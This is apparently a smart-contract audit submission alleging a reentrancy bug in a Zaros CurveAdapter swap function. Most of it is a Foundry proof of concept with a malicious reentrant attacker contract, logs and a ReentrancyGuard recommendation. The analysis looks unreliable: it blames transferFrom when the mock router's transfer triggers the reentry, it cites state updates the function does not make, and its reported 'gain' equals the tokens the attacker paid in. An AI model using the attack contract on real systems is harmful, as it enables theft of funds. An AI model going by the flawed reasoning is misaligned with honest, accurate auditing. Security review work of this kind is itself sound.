Submission Details
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Reentrancy Vulnerability in executeSwapExactInputSingle::CurveAdapter
Summary
A reentrancy vulnerability was identified in the executeSwapExactInputSingle function of the CurveAdapter contract. This vulnerability allows an attacker to repeatedly reenter the function during a single transaction, potentially draining funds from the contract.
Vulnerability Details
The executeSwapExactInputSingle function is vulnerable to reentrancy because it performs an external call (transferFrom) before updating the contract's state. This allows an attacker to exploit the function by reentering it during the transferFrom call, leading to multiple unauthorized swaps and fund drainage.
Key issue:
External Call Before State Update: The function calls transferFrom before updating the contract's state, enabling reentrancy.
Lack of Reentrancy Protection: The function does not use ReentrancyGuard or follow the checks-effects-interactions pattern.
Code affected line 75-99:
function executeSwapExactInputSingle(SwapExactInputSinglePayload calldata swapPayload)
external
returns (uint256 amountOut)
{
// transfer the tokenIn from the send to this contract
IERC20(swapPayload.tokenIn).transferFrom(msg.sender, address(this), swapPayload.amountIn);
// approve the tokenIn to the swap router
address curveStrategyRouterCache = curveStrategyRouter;
IERC20(swapPayload.tokenIn).approve(curveStrategyRouterCache, swapPayload.amountIn);
// get the expected output amount
uint256 expectedAmountOut = getExpectedOutput(swapPayload.tokenIn, swapPayload.tokenOut, swapPayload.amountIn);
// Calculate the minimum acceptable output based on the slippage tolerance
uint256 amountOutMinimum = calculateAmountOutMin(expectedAmountOut);
return ICurveSwapRouter(curveStrategyRouterCache).exchange_with_best_rate({
_from: swapPayload.tokenIn,
_to: swapPayload.tokenOut,
_amount: swapPayload.amountIn,
_expected: amountOutMinimum,
_receiver: swapPayload.recipient
});
}
Impact
An attacker can exploit this vulnerability to:
Drain funds from the contract by repeatedly reentering the executeSwapExactInputSingle function.
Perform multiple unauthorized swaps in a single transaction, leading to significant financial losses.
POC
The following test demonstrates the reentrancy vulnerability in the `executeSwapExactInputSingle` function. It uses a malicious contract to repeatedly reenter the function during a single transaction, draining funds from the contract.
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test/audit-test/CurveAdapterReentrancyTest.t.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import { Test } from "forge-std/Test.sol";
import { console } from "forge-std/console.sol";
import { CurveAdapter } from "src/utils/dex-adapters/CurveAdapter.sol";
import { SwapExactInputSinglePayload, SwapExactInputPayload } from "src/utils/interfaces/IDexAdapter.sol";
import { IERC20 } from "@openzeppelin/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/token/ERC20/ERC20.sol";
import { ICurveSwapRouter } from "@zaros/utils/interfaces/ICurveSwapRouter.sol";
import { ERC1967Proxy } from "@openzeppelin/proxy/ERC1967/ERC1967Proxy.sol";
import { IPriceAdapter } from "@zaros/utils/interfaces/IPriceAdapter.sol";
/**
* @title Reentrancy Attack POC for CurveAdapter
* @notice This test demonstrates a reentrancy vulnerability in the CurveAdapter contract
* The attack works by exploiting the lack of reentrancy protection in executeSwapExactInputSingle
*/
// Mock Token that enables reentrancy through transfer hooks
contract MockToken is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
// Override transfer to enable reentrancy attack simulation
// When transferring to a contract, it will call onTokenTransfer on the recipient
// This simulates how some tokens (like ERC777) can have hooks that are called during transfers
function transfer(address to, uint256 amount) public override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
// If the recipient is a contract, call onTokenTransfer
if (to.code.length > 0) {
try IMaliciousCallback(to).onTokenTransfer(msg.sender, amount) {} catch {}
}
return true;
}
}
// Interface for the callback that enables reentrancy
interface IMaliciousCallback {
function onTokenTransfer(address from, uint256 amount) external;
}
// Mock Curve Router that enables the attack scenario
contract MockCurveRouter {
function exchange_with_best_rate(
address _from,
address _to,
uint256 amount,
uint256 _expected,
address receiver
) external payable returns (uint256) {
// Take tokens from msg.sender (CurveAdapter)
IERC20(_from).transferFrom(msg.sender, address(this), amount);
// Transfer output tokens to receiver - this triggers the reentrancy
IERC20(_to).transfer(receiver, amount);
return amount;
}
}
// Contract that performs the reentrancy attack
contract MaliciousReentrant is IMaliciousCallback {
CurveAdapter public curveAdapter;
MockToken public token1;
MockToken public token2;
address public attacker;
uint256 public attackAmount;
uint256 public numReentries;
uint256 public constant MAX_REENTRIES = 3; // Limit reentries to prevent infinite loops
bool public isReentering;
constructor(
address _curveAdapter,
address _token1,
address _token2,
address _attacker
) {
curveAdapter = CurveAdapter(_curveAdapter);
token1 = MockToken(_token1);
token2 = MockToken(_token2);
attacker = _attacker;
// Approve maximum amount to allow multiple swaps
token1.approve(address(curveAdapter), type(uint256).max);
}
// Initiates the attack by performing the first swap
function attack(uint256 amount) external {
require(!isReentering, "Already attacking");
console.log("\n[!] Starting reentrancy attack with amount: %d", amount);
attackAmount = amount;
numReentries = 0;
isReentering = true;
// Start the attack by calling swap
SwapExactInputSinglePayload memory payload = SwapExactInputSinglePayload({
tokenIn: address(token1),
tokenOut: address(token2),
amountIn: amount,
recipient: address(this)
});
curveAdapter.executeSwapExactInputSingle(payload);
isReentering = false;
}
// This callback is triggered during token transfers, enabling the reentrancy
function onTokenTransfer(address from, uint256 amount) external {
// Only continue if we're in attack mode and haven't hit max reentries
if (!isReentering || numReentries >= MAX_REENTRIES) {
return;
}
console.log("\n[!] Reentrancy callback triggered (#%d)", numReentries + 1);
console.log("Received %d tokens from %s", amount, from);
numReentries++;
// Use a smaller amount for reentrant calls to ensure we have enough tokens
uint256 reentrantAmount = attackAmount / 4;
// Verify we have enough tokens for the reentrant call
uint256 token1Balance = token1.balanceOf(address(this));
require(token1Balance >= reentrantAmount, "Not enough tokens for reentrant call");
console.log("[!] Executing reentrant swap #%d with amount: %d (balance: %d)",
numReentries, reentrantAmount, token1Balance);
// Execute another swap during the callback
SwapExactInputSinglePayload memory payload = SwapExactInputSinglePayload({
tokenIn: address(token1),
tokenOut: address(token2),
amountIn: reentrantAmount,
recipient: address(this)
});
// Reenter the swap function - no need to approve again since we approved max
curveAdapter.executeSwapExactInputSingle(payload);
}
// Allows the attacker to withdraw gained tokens after the attack
function withdrawTokens() external {
require(msg.sender == attacker, "Only attacker");
uint256 token1Balance = token1.balanceOf(address(this));
uint256 token2Balance = token2.balanceOf(address(this));
if(token1Balance > 0) token1.transfer(attacker, token1Balance);
if(token2Balance > 0) token2.transfer(attacker, token2Balance);
}
}
// Main test contract that demonstrates the reentrancy vulnerability
contract CurveAdapterReentrancyTest is Test {
CurveAdapter public curveAdapter;
address public owner;
address public attacker;
MockCurveRouter public mockCurveRouter;
MockToken public token1;
MockToken public token2;
MaliciousReentrant public maliciousContract;
function setUp() public {
// Setup accounts
owner = makeAddr("owner");
attacker = makeAddr("attacker");
// Deploy mock tokens with reentrancy capability
token1 = new MockToken("Mock Token 1", "MT1");
token2 = new MockToken("Mock Token 2", "MT2");
// Deploy mock router that enables reentrancy
mockCurveRouter = new MockCurveRouter();
vm.startPrank(owner);
// Deploy and initialize CurveAdapter with proxy
CurveAdapter implementation = new CurveAdapter();
bytes memory initData = abi.encodeCall(
CurveAdapter.initialize,
(owner, address(mockCurveRouter), 100)
);
ERC1967Proxy proxy = new ERC1967Proxy(
address(implementation),
initData
);
curveAdapter = CurveAdapter(address(proxy));
// Setup price adapter mock for token pricing
address mockPriceAdapter = makeAddr("mockPriceAdapter");
vm.mockCall(
mockPriceAdapter,
abi.encodeWithSelector(IPriceAdapter.getPrice.selector),
abi.encode(1e18)
);
// Configure tokens in the adapter
curveAdapter.setSwapAssetConfig(address(token1), 18, mockPriceAdapter);
curveAdapter.setSwapAssetConfig(address(token2), 18, mockPriceAdapter);
vm.stopPrank();
// Deploy malicious contract that will perform the attack
maliciousContract = new MaliciousReentrant(
address(curveAdapter),
address(token1),
address(token2),
attacker
);
// Setup initial token balances for the attack
uint256 initialAmount = 1000000 ether;
// Distribute tokens to enable the attack scenario
token1.mint(address(mockCurveRouter), initialAmount * 2); // Router needs token1 for swaps
token2.mint(address(mockCurveRouter), initialAmount * 2); // Router needs token2 for swaps
token1.mint(address(maliciousContract), initialAmount * 4); // Give extra token1 to support multiple swaps
}
// Test that demonstrates the reentrancy vulnerability
function test_ReentrancyAttack_ExecuteSwapExactInputSingle() public {
console.log("\n[*] POC: Reentrancy Attack on executeSwapExactInputSingle");
console.log("=========================================================");
// Log initial state and addresses
console.log("\n[*] Initial State:");
console.log("-------------------");
console.log("Test contract address: %s", address(this));
console.log("CurveAdapter address: %s", address(curveAdapter));
console.log("Mock Router address: %s", address(mockCurveRouter));
console.log("Malicious contract address: %s", address(maliciousContract));
// Record initial token balances
uint256 initialToken1Balance = token1.balanceOf(address(maliciousContract));
uint256 initialToken2Balance = token2.balanceOf(address(maliciousContract));
uint256 initialRouterToken1 = token1.balanceOf(address(mockCurveRouter));
uint256 initialRouterToken2 = token2.balanceOf(address(mockCurveRouter));
// Log initial balances
console.log("\n[*] Initial Token Balances:");
console.log("Router's Token1: %d", initialRouterToken1);
console.log("Router's Token2: %d", initialRouterToken2);
console.log("Malicious Contract's Token1: %d", initialToken1Balance);
console.log("Malicious Contract's Token2: %d", initialToken2Balance);
// Execute the reentrancy attack
uint256 attackAmount = 1000000 ether;
console.log("\n[*] Executing reentrancy attack...");
maliciousContract.attack(attackAmount);
// Get final balances after the attack
uint256 finalToken1Balance = token1.balanceOf(address(maliciousContract));
uint256 finalToken2Balance = token2.balanceOf(address(maliciousContract));
uint256 finalRouterToken1 = token1.balanceOf(address(mockCurveRouter));
uint256 finalRouterToken2 = token2.balanceOf(address(mockCurveRouter));
// Log the results of the attack
console.log("\n[*] Attack Results:");
console.log("-------------------");
console.log("Initial Token1 Balance: %d", initialToken1Balance);
console.log("Final Token1 Balance: %d", finalToken1Balance);
console.log("Initial Token2 Balance: %d", initialToken2Balance);
console.log("Final Token2 Balance: %d", finalToken2Balance);
console.log("Number of successful reentries: %d", maliciousContract.numReentries());
// Log the changes in router balances
console.log("\n[*] Router Balance Changes:");
console.log("Router Initial Token1: %d", initialRouterToken1);
console.log("Router Final Token1: %d", finalRouterToken1);
console.log("Router Initial Token2: %d", initialRouterToken2);
console.log("Router Final Token2: %d", finalRouterToken2);
// Verify the attack was successful
assertGt(maliciousContract.numReentries(), 0, "Reentrancy attack failed - no reentries occurred");
assertGt(finalToken2Balance, initialToken2Balance, "Reentrancy attack failed - no extra tokens gained");
// Calculate and display the profit from the attack
uint256 token2Gained = finalToken2Balance - initialToken2Balance;
console.log("\n[!] Attack Successful!");
console.log("Tokens gained through reentrancy: %d", token2Gained);
console.log("Number of reentrant calls: %d", maliciousContract.numReentries());
}
}
Run the POC:
ZarosPart2 % forge test --mc CurveAdapterReentrancyTest -vvv
Output:
Ran 1 test for test/audit-test/CurveAdapterReentrancyTest.t.sol:CurveAdapterReentrancyTest
[PASS] test_ReentrancyAttack_ExecuteSwapExactInputSingle() (gas: 359135)
Logs:
[*] POC: Reentrancy Attack on executeSwapExactInputSingle
=========================================================
[*] Initial State:
-------------------
Test contract address: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
CurveAdapter address: 0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d
Mock Router address: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
Malicious contract address: 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
[*] Initial Token Balances:
Router's Token1: 2000000000000000000000000
Router's Token2: 2000000000000000000000000
Malicious Contract's Token1: 4000000000000000000000000
Malicious Contract's Token2: 0
[*] Executing reentrancy attack...
[!] Starting reentrancy attack with amount: 1000000000000000000000000
[!] Reentrancy callback triggered (#1)
Received 1000000000000000000000000 tokens from 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
[!] Executing reentrant swap #1 with amount: 250000000000000000000000 (balance: 3000000000000000000000000)
[!] Reentrancy callback triggered (#2)
Received 250000000000000000000000 tokens from 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
[!] Executing reentrant swap #2 with amount: 250000000000000000000000 (balance: 2750000000000000000000000)
[!] Reentrancy callback triggered (#3)
Received 250000000000000000000000 tokens from 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
[!] Executing reentrant swap #3 with amount: 250000000000000000000000 (balance: 2500000000000000000000000)
[*] Attack Results:
-------------------
Initial Token1 Balance: 4000000000000000000000000
Final Token1 Balance: 2250000000000000000000000
Initial Token2 Balance: 0
Final Token2 Balance: 1750000000000000000000000
Number of successful reentries: 3
[*] Router Balance Changes:
Router Initial Token1: 2000000000000000000000000
Router Final Token1: 3750000000000000000000000
Router Initial Token2: 2000000000000000000000000
Router Final Token2: 250000000000000000000000
[!] Attack Successful!
Tokens gained through reentrancy: 1750000000000000000000000
Number of reentrant calls: 3
Explanation of Output
Initial State: The test sets up the initial balances for the router and the malicious contract.
Reentrancy Attack: The malicious contract initiates the attack by calling executeSwapExactInputSingle and reenters the function 3 times during the transferFrom call.
Attack Results: The attacker gains 1,750,000 ether of Token2 through reentrancy, while the router’s Token2 balance decreases significantly.
Tools Used
Foundry: For testing and simulating the reentrancy attack
Recommendations
Use ReentrancyGuard: Add the ReentrancyGuard modifier to the executeSwapExactInputSingle function to prevent reentrancy
import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract CurveAdapter is ReentrancyGuard {
function executeSwapExactInputSingle(SwapExactInputSinglePayload memory payload) external nonReentrant {
// ... existing code ...
}
}
Follow Checks-Effects-Interactions Pattern: Ensure that state updates are performed before external calls.
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